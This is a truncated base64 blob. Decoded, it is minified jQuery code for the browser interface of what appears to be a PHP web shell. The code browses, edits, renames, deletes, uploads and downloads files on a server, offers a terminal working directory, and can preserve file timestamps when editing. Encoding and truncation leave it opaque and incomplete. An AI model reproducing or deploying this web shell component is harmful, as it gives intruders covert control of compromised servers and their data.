luZm8nKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpeyQoJyNiYXNpY0luZm8nKS5zaG93KCk7JCgnI3Nob3dpbmZvJykuaGlkZSgpO2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCdzaG93bicpfSk7aWYoKGluZm9CYXJTaG93bj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnaW5mb0JhclNob3duJykpKXtpZihpbmZvQmFyU2hvd249PSdzaG93bicpeyQoJyNiYXNpY0luZm8nKS5zaG93KCk7JCgnI3Nob3dpbmZvJykuaGlkZSgpfWVsc2V7JCgnI2Jhc2ljSW5mbycpLmhpZGUoKTskKCcjc2hvd2luZm8nKS5zaG93KCk7JCgnI3RvZ2dsZUJhc2ljSW5mbycpLmhpZGUoKX19ZWxzZXtpbmZvX3JlZnJlc2goKX1pZihoaXN0b3J5LnB1c2hTdGF0ZSl7d2luZG93Lm9ucG9wc3RhdGU9ZnVuY3Rpb24oZXZlbnQpe3JlZnJlc2hfdGFiKCl9fWVsc2V7d2luZG93Lmhpc3RvcnlFdmVudD1mdW5jdGlvbihldmVudCl7cmVmcmVzaF90YWIoKX19fX0pO2Z1bmN0aW9uIG91dHB1dChzdHIpe2NvbnNvbGUubG9nKCdudWxscz4gJytzdHIpfWZ1bmN0aW9uIHdpbmRvd19yZXNpemUoKXtib2R5V2lkdGg9JCgnYm9keScpLndpZHRoKCk7aWYoYm9keVdpZHRoPD1wb3J0YWJsZVdpZHRoKXtsYXlvdXRfcG9ydGFibGUoKX1lbHNle2xheW91dF9ub3JtYWwoKX19ZnVuY3Rpb24gbGF5b3V0X3BvcnRhYmxlKCl7bmF2PSQoJyNuYXYnKTttZW51PSQoJyNtZW51Jyk7aGVhZGVyTmF2PSQoJyNoZWFkZXJOYXYnKTtjb250ZW50PSQoJyNjb250ZW50Jyk7bmF2LnByZXBlbmRUbygnI2NvbnRlbnQnKTtuYXYuY3NzKCdwYWRkaW5nJywnNXB4IDhweCcpO25hdi5jc3MoJ21hcmdpbi10b3AnLCc4cHgnKTtuYXYuY3NzKCdkaXNwbGF5JywnYmxvY2snKTtuYXYuYWRkQ2xhc3MoJ2JvcmRlcicpO21lbnUuY2hpbGRyZW4oKS5jc3MoJ3dpZHRoJywnMTAwJScpO21lbnUuaGlkZSgpOyQoJyNtZW51QnV0dG9uJykucmVtb3ZlKCk7aGVhZGVyTmF2LnByZXBlbmQoIjxkaXYgaWQ9J21lbnVCdXR0b24nIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cIiQoJyNtZW51JykudG9nZ2xlKCk7XCIgc3R5bGU9J2Zsb2F0LWxlZnQ7ZGlzcGxheTppbmxpbmU7cGFkZGluZzo0cHggOHB4O21hcmdpbi1yaWdodDo4cHg7Jz5tZW51PC9kaXY+Iik7bWVudS5hdHRyKCdvbmNsaWNrJywiXCQoJyNtZW51JykuaGlkZSgpOyIpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuaGlkZSgpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuaGlkZSgpO2lmKCF3aW4peyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuaGlkZSgpfXRibGZvb3Q9JCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTtpZih0Ymxmb290WzBdKXRibGZvb3RbMF0uY29sU3Bhbj0xO2lmKHRibGZvb3RbMV0pdGJsZm9vdFsxXS5jb2xTcGFuPTI7JCgnLmJveCcpLmNzcygnd2lkdGgnLCcxMDAlJyk7JCgnLmJveCcpLmNzcygnaGVpZ2h0JywnMTAwJScpOyQoJy5ib3gnKS5jc3MoJ2xlZnQnLCcwcHgnKTskKCcuYm94JykuY3NzKCd0b3AnLCcwcHgnKTtwYWRkaW5nVG9wPSQoJyNoZWFkZXInKS5oZWlnaHQoKTtjb250ZW50LmNzcygncGFkZGluZy10b3AnLHBhZGRpbmdUb3ArJ3B4Jyk7cG9ydGFibGVNb2RlPXRydWV9ZnVuY3Rpb24gbGF5b3V0X25vcm1hbCgpe25hdj0kKCcjbmF2Jyk7bWVudT0kKCcjbWVudScpO2NvbnRlbnQ9JCgnI2NvbnRlbnQnKTtuYXYuaW5zZXJ0QWZ0ZXIoJyNudWxscycpO25hdi5jc3MoJ3BhZGRpbmcnLCcwJyk7bmF2LmNzcygnbWFyZ2luLXRvcCcsJzAnKTtuYXYuY3NzKCdkaXNwbGF5JywnaW5saW5lJyk7bmF2LnJlbW92ZUNsYXNzKCdib3JkZXInKTttZW51LmNoaWxkcmVuKCkuY3NzKCd3aWR0aCcsJ2F1dG8nKTttZW51LnNob3coKTskKCcjbWVudUJ1dHRvbicpLnJlbW92ZSgpO21lbnUuYXR0cignb25jbGljaycsIiIpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuc2hvdygpOyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDUpJykuc2hvdygpO2lmKCF3aW4peyQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDYpJykuc2hvdygpO2NvbHNwYW49NH1lbHNlIGNvbHNwYW49Mzt0Ymxmb290PSQoJyN4cGxUYWJsZSB0Zm9vdCB0ZDpsYXN0LWNoaWxkJyk7aWYodGJsZm9vdFswXSl0Ymxmb290WzBdLmNvbFNwYW49Y29sc3BhbjtpZih0Ymxmb290WzFdKXRibGZvb3RbMV0uY29sU3Bhbj1jb2xzcGFuKzE7cGFkZGluZ1RvcD0kKCcjaGVhZGVyJykuaGVpZ2h0KCk7Y29udGVudC5jc3MoJ3BhZGRpbmctdG9wJyxwYWRkaW5nVG9wKydweCcpO3BvcnRhYmxlTW9kZT1mYWxzZX1mdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXtpZihzdHI9PSd0b3AnKXt0bz0kKHdpbmRvdykuc2Nyb2xsVG9wKCktc2Nyb2xsQ291bnRlcjtzY3JvbGxDb3VudGVyPXNjcm9sbERlbHRhK3Njcm9sbENvdW50ZXI7aWYodG88PTApe3RvPTA7b25TY3JvbGw9ZmFsc2V9ZWxzZSBpZihvblNjcm9sbCl7c2Nyb2xsVGltZXI9c2V0VGltZW91dCgic3RhcnRfc2Nyb2xsKCd0b3AnKSIsc2Nyb2xsU3BlZWQpOyQod2luZG93KS5zY3JvbGxUb3AodG8pfX1lbHNlIGlmKHN0cj09J2JvdHRvbScpe3RvPSQod2luZG93KS5zY3JvbGxUb3AoKStzY3JvbGxDb3VudGVyO3Njcm9sbENvdW50ZXI9c2Nyb2xsRGVsdGErc2Nyb2xsQ291bnRlcjtib3R0b209JChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpO2lmKHRvPj1ib3R0b20pe3RvPWJvdHRvbTtvblNjcm9sbD1mYWxzZX1lbHNlIGlmKG9uU2Nyb2xsKXtzY3JvbGxUaW1lcj1zZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ2JvdHRvbScpIixzY3JvbGxTcGVlZCk7JCh3aW5kb3cpLnNjcm9sbFRvcCh0byl9fX1mdW5jdGlvbiBnZXRfY3dkKCl7cmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChnZXRfY29va2llKCdjd2QnKSl9ZnVuY3Rpb24gZml4X3RhYmNoYXIoZWwsZSl7aWYoZS5rZXlDb2RlPT05KXtlLnByZXZlbnREZWZhdWx0KCk7dmFyIHM9ZWwuc2VsZWN0aW9uU3RhcnQ7ZWwudmFsdWU9ZWwudmFsdWUuc3Vic3RyaW5nKDAsZWwuc2VsZWN0aW9uU3RhcnQpKyJcdCIrZWwudmFsdWUuc3Vic3RyaW5nKGVsLnNlbGVjdGlvbkVuZCk7ZWwuc2VsZWN0aW9uRW5kPXMrMX19ZnVuY3Rpb24gZ2V0X2Nvb2tpZShrZXkpe3ZhciByZXM7cmV0dXJuKHJlcz1uZXcgUmVnRXhwKCcoPzpefDsgKScrZW5jb2RlVVJJQ29tcG9uZW50KGtleSkrJz0oW147XSopJykuZXhlYyhkb2N1bWVudC5jb29raWUpKT8ocmVzWzFdKTpudWxsfWZ1bmN0aW9uIHNldF9jb29raWUoa2V5LHZhbHVlKXtkb2N1bWVudC5jb29raWU9a2V5Kyc9JytlbmNvZGVVUklDb21wb25lbnQodmFsdWUpfWZ1bmN0aW9uIGh0bWxfc2FmZShzdHIpe2lmKHR5cGVvZihzdHIpPT0ic3RyaW5nIil7c3RyPXN0ci5yZXBsYWNlKC8mL2csIiZhbXA7Iik7c3RyPXN0ci5yZXBsYWNlKC8iL2csIiZxdW90OyIpO3N0cj1zdHIucmVwbGFjZSgvJy9nLCImIzAzOTsiKTtzdHI9c3RyLnJlcGxhY2UoLzwvZywiJmx0OyIpO3N0cj1zdHIucmVwbGFjZSgvPi9nLCImZ3Q7Iil9cmV0dXJuIHN0cn1mdW5jdGlvbiB1Y2ZpcnN0KHN0cil7cmV0dXJuIHN0ci5jaGFyQXQoMCkudG9VcHBlckNhc2UoKStzdHIuc2xpY2UoMSl9ZnVuY3Rpb24gdGltZSgpe3ZhciBkPW5ldyBEYXRlKCk7cmV0dXJuIGQuZ2V0VGltZSgpfWZ1bmN0aW9uIHNlbmRfcG9zdCh0YXJnZXRkYXRhLGNhbGxiYWNrLGxvYWRpbmcpe2lmKGxvYWRpbmc9PW51bGwpbG9hZGluZ19zdGFydCgpOyQuYWpheCh7dXJsOnRhcmdldHVybCx0eXBlOidQT1NUJyxkYXRhOnRhcmdldGRhdGEsc3VjY2VzczpmdW5jdGlvbihyZXMpe2NhbGxiYWNrKHJlcyk7aWYobG9hZGluZz09bnVsbClsb2FkaW5nX3N0b3AoKX0sZXJyb3I6ZnVuY3Rpb24oKXtpZihsb2FkaW5nPT1udWxsKWxvYWRpbmdfc3RvcCgpfX0pfWZ1bmN0aW9uIGxvYWRpbmdfc3RhcnQoKXtpZighcnVubmluZyl7JCgnI292ZXJsYXknKS5zaG93KCk7cnVubmluZz10cnVlO2xvYWRpbmdfbG9vcCgpfX1mdW5jdGlvbiBsb2FkaW5nX2xvb3AoKXtpZihydW5uaW5nKXtpbWc9JCgnI2xvYWRpbmcnKTtpbWcuY3NzKCd0cmFuc2Zvcm0nLCdyb3RhdGUoJytsb2FkaW5nX2NvdW50KydkZWcpJyk7aW1nLmNzcygnLW1zLXRyYW5zZm9ybScsJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTtpbWcuY3NzKCctd2Via2l0LXRyYW5zZm9ybScsJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTtsb2FkaW5nX2NvdW50Kz03O2lmKGxvYWRpbmdfY291bnQ+MzYwKWxvYWRpbmdfY291bnQ9MDtpZihydW5uaW5nKXNldFRpbWVvdXQoImxvYWRpbmdfbG9vcCgpIiwyMCl9fWZ1bmN0aW9uIGxvYWRpbmdfc3RvcCgpe2lmKHJ1bm5pbmcpe2ltZz0kKCcjbG9hZGluZycpO2ltZy5jc3MoJ3RyYW5zZm9ybScsJ3JvdGF0ZSgwZGVnKScpO2ltZy5jc3MoJy1tcy10cmFuc2Zvcm0nLCdyb3RhdGUoMGRlZyknKTtpbWcuY3NzKCctd2Via2l0LXRyYW5zZm9ybScsJ3JvdGF0ZSgwZGVnKScpOyQoJyNvdmVybGF5JykuaGlkZSgpO3J1bm5pbmc9ZmFsc2V9fWZ1bmN0aW9uIHNob3dfdGFiKGlkKXtpZighaWQpe2lmKGxvY2F0aW9uLmhhc2ghPScnKWlkPWxvY2F0aW9uLmhhc2guc3Vic3RyKDIpO2Vsc2UgaWQ9ZGVmYXVsdFRhYn1yZWZyZXNoX3RhYihpZCl9ZnVuY3Rpb24gcmVmcmVzaF90YWIoaWQpe2lmKCFpZCl7aWYobG9jYXRpb24uaGFzaCE9JycpaWQ9bG9jYXRpb24uaGFzaC5zdWJzdHIoMik7ZWxzZSBpZD1kZWZhdWx0VGFifSQoJy5tZW51aXRlbVNlbGVjdGVkJykucmVtb3ZlQ2xhc3MoIm1lbnVpdGVtU2VsZWN0ZWQiKTskKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7dGFiU2Nyb2xsW2N1cnJlbnRUYWIuYXR0cignaWQnKV09JCh3aW5kb3cpLnNjcm9sbFRvcCgpO2N1cnJlbnRUYWIuaGlkZSgpO2N1cnJlbnRUYWI9JCgnIycraWQpO2N1cnJlbnRUYWIuc2hvdygpO3dpbmRvd1tpZF0oKTtpZih0YWJTY3JvbGxbaWRdKXskKHdpbmRvdykuc2Nyb2xsVG9wKHRhYlNjcm9sbFtpZF0pfWhpZGVfYm94KCl9ZnVuY3Rpb24gdHJhcF9lbnRlcihlLGNhbGxiYWNrKXtpZihlLmtleUNvZGU9PTEzKXtpZihjYWxsYmFjayE9bnVsbCl3aW5kb3dbY2FsbGJhY2tdKCl9fWZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLGNvbnRlbnQpe29uRHJhZz1mYWxzZTtoaWRlX2JveCgpO2JveD0iPGRpdiBjbGFzcz0nYm94Jz48cCBjbGFzcz0nYm94dGl0bGUnPiIrdGl0bGUrIjxzcGFuIGNsYXNzPSdib3hjbG9zZSBmbG9hdFJpZ2h0Jz54PC9zcGFuPjwvcD48ZGl2IGNsYXNzPSdib3hjb250ZW50Jz4iK2NvbnRlbnQrIjwvZGl2PjxkaXYgY2xhc3M9J2JveHJlc3VsdCc+PC9kaXY+PC9kaXY+IjskKCcjY29udGVudCcpLmFwcGVuZChib3gpO2JveF93aWR0aD0kKCcuYm94Jykud2lkdGgoKTtib2R5X3dpZHRoPSQoJ2JvZHknKS53aWR0aCgpO2JveF9oZWlnaHQ9JCgnLmJveCcpLmhlaWdodCgpO2JvZHlfaGVpZ2h0PSQoJ2JvZHknKS5oZWlnaHQoKTt4PShib2R5X3dpZHRoLWJveF93aWR0aCkvMjt5PShib2R5X2hlaWdodC1ib3hfaGVpZ2h0KS8yO2lmKHg8MHx8cG9ydGFibGVNb2RlKXg9MDtpZih5PDB8fHBvcnRhYmxlTW9kZSl5PTA7aWYocG9ydGFibGVNb2RlKXskKCcuYm94JykuY3NzKCd3aWR0aCcsJzEwMCUnKTskKCcuYm94JykuY3NzKCdoZWlnaHQnLCcxMDAlJyl9JCgnLmJveCcpLmNzcygnbGVmdCcseCsncHgnKTskKCcuYm94JykuY3NzKCd0b3AnLHkrJ3B4Jyk7JCgnLmJveGNsb3NlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtoaWRlX2JveCgpfSk7aWYoIXBvcnRhYmxlTW9kZSl7JCgnLmJveHRpdGxlJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtpZighb25EcmFnKXtkcmFnRGVsdGFYPWUucGFnZVgtcGFyc2VJbnQoJCgnLmJveCcpLmNzcygnbGVmdCcpKTtkcmFnRGVsdGFZPWUucGFnZVktcGFyc2VJbnQoJCgnLmJveCcpLmNzcygndG9wJykpO2RyYWdfc3RhcnQoKX1lbHNlIGRyYWdfc3RvcCgpfSl9JChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOyQoZG9jdW1lbnQpLm9uKCdrZXl1cCcsZnVuY3Rpb24oZSl7aWYoZS5rZXlDb2RlPT0yNyloaWRlX2JveCgpfSk7aWYoJCgnLmJveCBpbnB1dCcpWzBdKSQoJy5ib3ggaW5wdXQnKVswXS5mb2N1cygpfWZ1bmN0aW9uIGhpZGVfYm94KCl7JChkb2N1bWVudCkub2ZmKCdrZXl1cCcpOyQoJy5ib3gnKS5yZW1vdmUoKX1mdW5jdGlvbiBkcmFnX3N0YXJ0KCl7aWYoIW9uRHJhZyl7b25EcmFnPXRydWU7JCgnYm9keScpLm9mZignbW91c2Vtb3ZlJyk7JCgnYm9keScpLm9uKCdtb3VzZW1vdmUnLGZ1bmN0aW9uKGUpe2RyYWdYPWUucGFnZVg7ZHJhZ1k9ZS5wYWdlWX0pO3NldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCl9fWZ1bmN0aW9uIGRyYWdfbG9vcCgpe2lmKG9uRHJhZyl7eD1kcmFnWC1kcmFnRGVsdGFYO3k9ZHJhZ1ktZHJhZ0RlbHRhWTtpZih5PDApeT0wOyQoJy5ib3gnKS5jc3MoJ2xlZnQnLHgrJ3B4Jyk7JCgnLmJveCcpLmNzcygndG9wJyx5KydweCcpO3NldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCl9fWZ1bmN0aW9uIGRyYWdfc3RvcCgpe29uRHJhZz1mYWxzZTskKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKX1mdW5jdGlvbiBnZXRfYWxsX2Nib3hfc2VsZWN0ZWQoaWQsY2FsbGJhY2spe3ZhciBidWZmZXI9bmV3IEFycmF5KCk7JCgnIycraWQpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykuZWFjaChmdW5jdGlvbihpKXtpZigoaHJlZj13aW5kb3dbY2FsbGJhY2tdKCQodGhpcykpKSl7YnVmZmVyW2ldPWhyZWZ9fSk7cmV0dXJuIGJ1ZmZlcn1mdW5jdGlvbiBjYm94X2JpbmQoaWQsY2FsbGJhY2speyQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9mZignY2xpY2snKTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5vZmYoJ2NsaWNrJyk7JCgnIycraWQpLmZpbmQoJy5jQm94Jykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtpZigkKHRoaXMpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKSl7JCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyl9ZWxzZSAkKHRoaXMpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTtpZihjYWxsYmFjayE9bnVsbCl3aW5kb3dbY2FsbGJhY2tdKCl9KTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe2lmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXskKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7JCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykucmVtb3ZlQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpfWVsc2V7JCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5ub3QoJy5jQm94RXhjZXB0aW9uJykuYWRkQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpfWlmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX0pfWZ1bmN0aW9uIGFjdGlvbihwYXRoLHR5cGUpe3RpdGxlPSJBY3Rpb24iO2NvbnRlbnQ9Jyc7aWYodHlwZT09J2ZpbGUnKWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdlZGl0IGJ1dHRvbic+ZWRpdDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J2RsIGJ1dHRvbic+ZG93bmxvYWQ8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtpZih0eXBlPT0nZGlyJyljb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIrcGF0aCsiJyBkaXNhYmxlZD48L3RkPjwvdHI+PHRyIGRhdGEtcGF0aD0nIitwYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZmluZCBidXR0b24nPmZpbmQ8L3NwYW4+PHNwYW4gY2xhc3M9J3VsIGJ1dHRvbic+dXBsb2FkPC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO2lmKHR5cGU9PSdkb3QnKWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdmaW5kIGJ1dHRvbic+ZmluZDwvc3Bhbj48c3BhbiBjbGFzcz0ndWwgYnV0dG9uJz51cGxvYWQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSduZXdmaWxlIGJ1dHRvbic+bmV3IGZpbGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZvbGRlciBidXR0b24nPm5ldyBmb2xkZXI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KTt4cGxfYmluZCgpfWZ1bmN0aW9uIG5hdmlnYXRlKHBhdGgsc2hvd2ZpbGVzKXtpZihzaG93ZmlsZXM9PW51bGwpc2hvd2ZpbGVzPSd0cnVlJztzZW5kX3Bvc3Qoe2NkOnBhdGgsc2hvd2ZpbGVzOnNob3dmaWxlc30sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe3NwbGl0cz1yZXMuc3BsaXQoJ3tbfG51bGxzfF19Jyk7aWYoc3BsaXRzLmxlbmd0aD09Myl7JCgnI25hdicpLmh0bWwoc3BsaXRzWzFdKTtpZihzaG93ZmlsZXM9PSd0cnVlJyl7JCgnI2V4cGxvcmVyJykuaHRtbCgnJyk7JCgnI2V4cGxvcmVyJykuaHRtbChzcGxpdHNbMl0pO3NvcnR0YWJsZS5rKCQoJyN4cGxUYWJsZScpLmdldCgwKSl9JCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpO3hwbF9iaW5kKCk7d2luZG93X3Jlc2l6ZSgpfX19KX1mdW5jdGlvbiB2aWV3KHBhdGgsdHlwZSxwcmVzZXJ2ZVRpbWVzdGFtcCl7aWYocHJlc2VydmVUaW1lc3RhbXA9PW51bGwpcHJlc2VydmVUaW1lc3RhbXA9J3RydWUnO3NlbmRfcG9zdCh7dmlld0ZpbGU6cGF0aCx2aWV3VHlwZTp0eXBlLHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7JCgnI2V4cGxvcmVyJykuaHRtbCgnJyk7JCgnI2V4cGxvcmVyJykuaHRtbChyZXMpO3hwbF9iaW5kKCk7c2hvd190YWIoJ2V4cGxvcmVyJyk7aWYoKHR5cGU9PSdlZGl0Jyl8fCh0eXBlPT0naGV4Jykpe2VkaXRSZXN1bHQ9KHR5cGU9PSdlZGl0Jyk/JCgnI2VkaXRSZXN1bHQnKTokKCcjZWRpdEhleFJlc3VsdCcpO2lmKGVkaXRTdWNjZXNzPT0nc3VjY2Vzcycpe2VkaXRSZXN1bHQuaHRtbCgnICggRmlsZSBzYXZlZCApJyl9ZWxzZSBpZihlZGl0U3VjY2Vzcz09J2Vycm9yJyl7ZWRpdFJlc3VsdC5odG1sKCcgKCBGYWlsZWQgdG8gc2F2ZSBmaWxlICknKX1lZGl0U3VjY2Vzcz0nJ31jYm94X2JpbmQoJ2VkaXRUYmwnKX19KX1mdW5jdGlvbiB2aWV3X2VudHJ5KGVsKXtpZigkKGVsKS5hdHRyKCdkYXRhLXBhdGgnKSE9Jycpe2VudHJ5PSQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpOyQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd2aWV3RW50cnknIHZhbHVlPSciK2VudHJ5KyInPiIpOyQoJyNmb3JtJykuc3VibWl0KCk7JCgnI2Zvcm0nKS5odG1sKCcnKX19ZnVuY3Rpb24gcmVuKHBhdGgpe3RpdGxlPSJSZW5hbWUiO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPlJlbmFtZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ncmVuYW1lRmlsZVRvJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHRpdGxlLGNvbnRlbnQpfWZ1bmN0aW9uIHJlbl9nbygpe3JlbmFtZUZpbGU9JCgnLnJlbmFtZUZpbGUnKS52YWwoKTtyZW5hbWVGaWxlVG89JCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpO3NlbmRfcG9zdCh7cmVuYW1lRmlsZTpyZW5hbWVGaWxlLHJlbmFtZUZpbGVUbzpyZW5hbWVGaWxlVG99LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtuYXZpZ2F0ZShyZXMpOyQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7JCgnLnJlbmFtZUZpbGUnKS52YWwoJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiBuZXdmb2xkZXIocGF0aCl7dGl0bGU9Ik5ldyBGb2xkZXIiO3BhdGg9cGF0aCsnbmV3Zm9sZGVyLScrdGltZSgpO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZvbGRlciBOYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSduZXdGb2xkZXInIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ25ld2ZvbGRlcl9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZvbGRlcl9nbygpOyc+Y3JlYXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24gbmV3Zm9sZGVyX2dvKCl7bmV3Rm9sZGVyPSQoJy5uZXdGb2xkZXInKS52YWwoKTtzZW5kX3Bvc3Qoe25ld0ZvbGRlcjpuZXdGb2xkZXJ9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXtuYXZpZ2F0ZShyZXMpOyQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyl9ZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpfSl9ZnVuY3Rpb24gbmV3ZmlsZShwYXRoKXt0aXRsZT0iTmV3IEZpbGUiO3BhdGg9cGF0aCsnbmV3ZmlsZS0nK3RpbWUoKTtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5GaWxlIE5hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J25ld0ZpbGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ25ld2ZpbGVfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSduZXdmaWxlX2dvKCk7Jz5jcmVhdGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiBuZXdmaWxlX2dvKCl7bmV3RmlsZT0kKCcubmV3RmlsZScpLnZhbCgpO3NlbmRfcG9zdCh7bmV3RmlsZTpuZXdGaWxlfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7dmlldyhuZXdGaWxlLCdlZGl0Jyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKX1lbHNlICQoJy5